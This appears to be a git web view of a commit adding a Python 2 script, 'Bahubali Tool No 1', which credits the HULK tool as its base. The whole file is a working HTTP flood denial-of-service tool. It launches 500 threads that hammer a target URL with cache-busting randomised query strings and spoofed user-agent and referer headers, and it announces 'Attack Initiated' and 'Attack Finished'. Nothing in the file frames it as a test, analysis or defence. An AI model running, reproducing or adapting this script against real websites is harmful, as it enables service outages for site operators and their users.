aboutsummaryrefslogtreecommitdiff
path: root/src/1.py
diff options
context:
space:
mode:
Diffstat (limited to 'src/1.py')
-rw-r--r--src/1.py153
1 files changed, 153 insertions, 0 deletions
diff --git a/src/1.py b/src/1.py
new file mode 100644
index 0000000..b5cb921
--- /dev/null
+++ b/src/1.py
@@ -0,0 +1,153 @@
+# ----------------------------------------------------------------------------------------------
+# Bahubali Tool No 1
+#
+# Based on Hulk by Barry
+#
+# By: N3V0N
+# ----------------------------------------------------------------------------------------------
+import urllib2
+import sys
+import threading
+import random
+import re
+
+#global params
+url=''
+host=''
+headers_useragents=[]
+headers_referers=[]
+request_counter=0
+flag=0
+safe=0
+
+def inc_counter():
+ global request_counter
+ request_counter+=1
+
+def set_flag(val):
+ global flag
+ flag=val
+
+def set_safe():
+ global safe
+ safe=1
+
+# generates a user agent array
+def useragent_list():
+ global headers_useragents
+ headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
+ headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
+ headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
+ headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
+ headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
+ headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
+ headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
+ headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
+ headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
+ headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
+ headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
+ headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
+ return(headers_useragents)
+
+# generates a referer array
+def referer_list():
+ global headers_referers
+ headers_referers.append('http://www.google.com/?q=')
+ headers_referers.append('http://www.usatoday.com/search/results?q=')
+ headers_referers.append('http://engadget.search.aol.com/search?q=')
+ headers_referers.append('http://' + host + '/')
+ return(headers_referers)
+
+#builds random ascii string
+def buildblock(size):
+ out_str = ''
+ for i in range(0, size):
+ a = random.randint(65, 90)
+ out_str += chr(a)
+ return(out_str)
+
+def usage():
+ print '---------------------------------------------------'
+ print 'USAGE: python hulk.py <url>'
+ print 'you can add "safe" after url, to autoshut after dos'
+ print '---------------------------------------------------'
+
+
+#http request
+def httpcall(url):
+ useragent_list()
+ referer_list()
+ code=0
+ if url.count("?")>0:
+ param_joiner="&"
+ else:
+ param_joiner="?"
+ request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
+ request.add_header('User-Agent', random.choice(headers_useragents))
+ request.add_header('Cache-Control', 'no-cache')
+ request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
+ request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
+ request.add_header('Keep-Alive', random.randint(110,120))
+ request.add_header('Connection', 'keep-alive')
+ request.add_header('Host',host)
+ try:
+ urllib2.urlopen(request)
+ except urllib2.HTTPError, e:
+ #print e.code
+ set_flag(1)
+ print 'Response Code 500'
+ code=500
+ except urllib2.URLError, e:
+ #print e.reason
+ sys.exit()
+ else:
+ inc_counter()
+ urllib2.urlopen(request)
+ return(code)
+
+
+#http caller thread
+class HTTPThread(threading.Thread):
+ def run(self):
+ try:
+ while flag<2:
+ code=httpcall(url)
+ if (code==500) & (safe==1):
+ set_flag(2)
+ except Exception, ex:
+ pass
+
+# monitors http threads and counts requests
+class MonitorThread(threading.Thread):
+ def run(self):
+ previous=request_counter
+ while flag==0:
+ if (previous+100<request_counter) & (previous<>request_counter):
+ print "%d Requests Sent" % (request_counter)
+ previous=request_counter
+ if flag==2:
+ print "\n-- Attack Finished --"
+
+#execute
+if len(sys.argv) < 2:
+ usage()
+ sys.exit()
+else:
+ if sys.argv[1]=="help":
+ usage()
+ sys.exit()
+ else:
+ print "-- Attack Initiated --"
+ if len(sys.argv)== 3:
+ if sys.argv[2]=="safe":
+ set_safe()
+ url = sys.argv[1]
+ if url.count("/")==2:
+ url = url + "/"
+ m = re.search('http\://([^/]*)/?.*', url)
+ host = m.group(1)
+ for i in range(500):
+ t = HTTPThread()
+ t.start()
+ t = MonitorThread()
+ t.start()